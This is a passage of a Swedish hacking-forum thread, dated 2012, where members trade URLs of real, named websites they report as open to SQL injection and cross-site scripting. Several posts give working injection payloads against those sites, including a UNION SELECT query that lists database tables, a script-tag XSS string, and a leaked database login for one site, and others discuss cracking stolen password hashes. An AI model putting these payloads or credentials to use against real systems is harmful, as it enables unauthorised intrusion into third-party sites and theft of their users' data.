Samling av sidor med säkerhetsbrister - Del 2

2012-07-05, 21:23 #**3793**

Medlem

Reg: Apr 2012

Inlägg: 1 102

Citat:

Ursprungligen postat av .Chloe

Har kontaktat Comviq men inte fått svar på cirka en vecka.

Läs mer: https://nealpoole.com/blog/

Orkar inte gå in på länken, är den persistant?

Citera

2012-07-05, 21:45 #**3794**

Medlem

Reg: Okt 2011

Inlägg: 316

Citat:

Ursprungligen postat av cap0

Orkar inte gå in på länken, är den persistant?

Du ser väl på länken att den är reflected?

Citera

2012-07-07, 15:45 #**3795**

Medlem

Reg: Nov 2007

Inlägg: 197

Gissar på att någon redan nämnt Fyndtorget?
http://www.fyndtorget.se/sokresultat.php?loc=12 (SQLi)

Dock lyckas jag verkligen inte knäcka nåt lösenorden

Citera

2012-07-07, 17:52 #**3796**

Medlem

Reg: Apr 2012

Inlägg: 180

Kod:

http://www(dot)yt3pis0d3$(dot)com/profile(dot)php?id=%22%27%3C1hHfu%3E

Happy haxing

Citera

2012-07-08, 03:58 #**3797**

Medlem

Reg: Nov 2007

Inlägg: 197

http://www.vansterpartiet.eu/showPage.php?ID=2238 SQLi
root:fishnchips för extern mysql

Citera

2012-07-08, 15:32 #**3798**

Medlem

Reg: Jun 2010

Inlägg: 4 733

Citat:

Ursprungligen postat av xers

Gissar på att någon redan nämnt Fyndtorget?
http://www.fyndtorget.se/sokresultat.php?loc=12 (SQLi)

Dock lyckas jag verkligen inte knäcka nåt lösenorden

Nope... Gissar på någon sha-1 salt av nått slag

Citera

2012-07-08, 22:50 #**3799**

Medlem

Reg: Okt 2011

Inlägg: 316

Forums XSS.

Kod:

http://www.undergroundforum24.com/Default.asp?action=posts&sub=search&fid=-1&message="><script>alert%28""%29%3B<%2Fscript><d"

Citera

2012-07-09, 22:19 #**3800**

Medlem

Reg: Aug 2011

Inlägg: 150

Hmmpf..

Kod:

http://www.nordvarmland.com/page.php?id=-3444%20UNION%20SELECT%20ALL%201,2,3,4,5,group_concat%28table_name%29%20from%20informati  on_schema.tables%20where%20table_schema=database%28%29--

En table som heter psswd. Innuti finns ett id och ett lösenord. Men inget username.

PWT:

Citera

2012-07-13, 00:42 #**3801**

Medlem

Reg: Jul 2005

Inlägg: 3 751

Citat:

Ursprungligen postat av tmxseven

Kod:

http://www(dot)anstalten(dot)nu/cellpolers.asp?id=152481'
http://www(dot)anstalten(dot)nu/forum/forum_las.asp?id=103438'

Hmm man får ett asp.net fel.. på en klassisk asp-sida... spännande (asp.net 1.1 dessutom ouch)

Anstalten var väl ett av de där sidorna som ploppade upp när "ALLA" skulle bygga sitt eget lunarstorm.. i 9 fall av 10 var de (om de kodades i asp) baserade på något av de "script" som gick att ladda ner på bland annat aspsidan. Den gemensamma nämnaren mellan dessa var att säkerheten var obefintlig

Citera

2012-07-17, 00:20 #**3802**

Medlem

Reg: Apr 2012

Inlägg: 17

Citat:

Ursprungligen postat av xers

Gissar på att någon redan nämnt Fyndtorget?
http://www.fyndtorget.se/sokresultat.php?loc=12 (SQLi)

Dock lyckas jag verkligen inte knäcka nåt lösenorden

Jag får inte union based att funka.

Är de blind som gäller på denna eller?

Citera

2012-07-21, 19:06 #**3803**

Medlem

Reg: Apr 2012

Inlägg: 1 102

Kod:

dfskoaadfsij 965981.0427142014, 438905.84067210904, 919122.7934356456, 1039282.9422042125, 975011.2443890949, 1009717.4387841288, 1037866.5672415273, 928585.8652608912, 1076280.7157524836, 428933.297990663, 1057927.3948107436, 901237.5934158864, 1039537.6506597437, 917740.7097829846, 4134.997882193117

SQLi AER-256

__________________
Senast redigerad av cap0 2012-07-21 kl. 19:21.

Citera

2012-07-21, 19:25 #**3804**

Medlem

Reg: Apr 2012

Inlägg: 1 102

Kod:

965981.0427142014, 438905.84067210904, 928298.6708595066, 4019.2955321119443

fhsasfah

Blind SQLi

http://www.ad*fest.com/About_us_news.php?news_id=11624
http://www.adap*ower.com/index.php?Command=FAQ (?)

Citera

Samling av sidor med säkerhetsbrister - Del 2

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in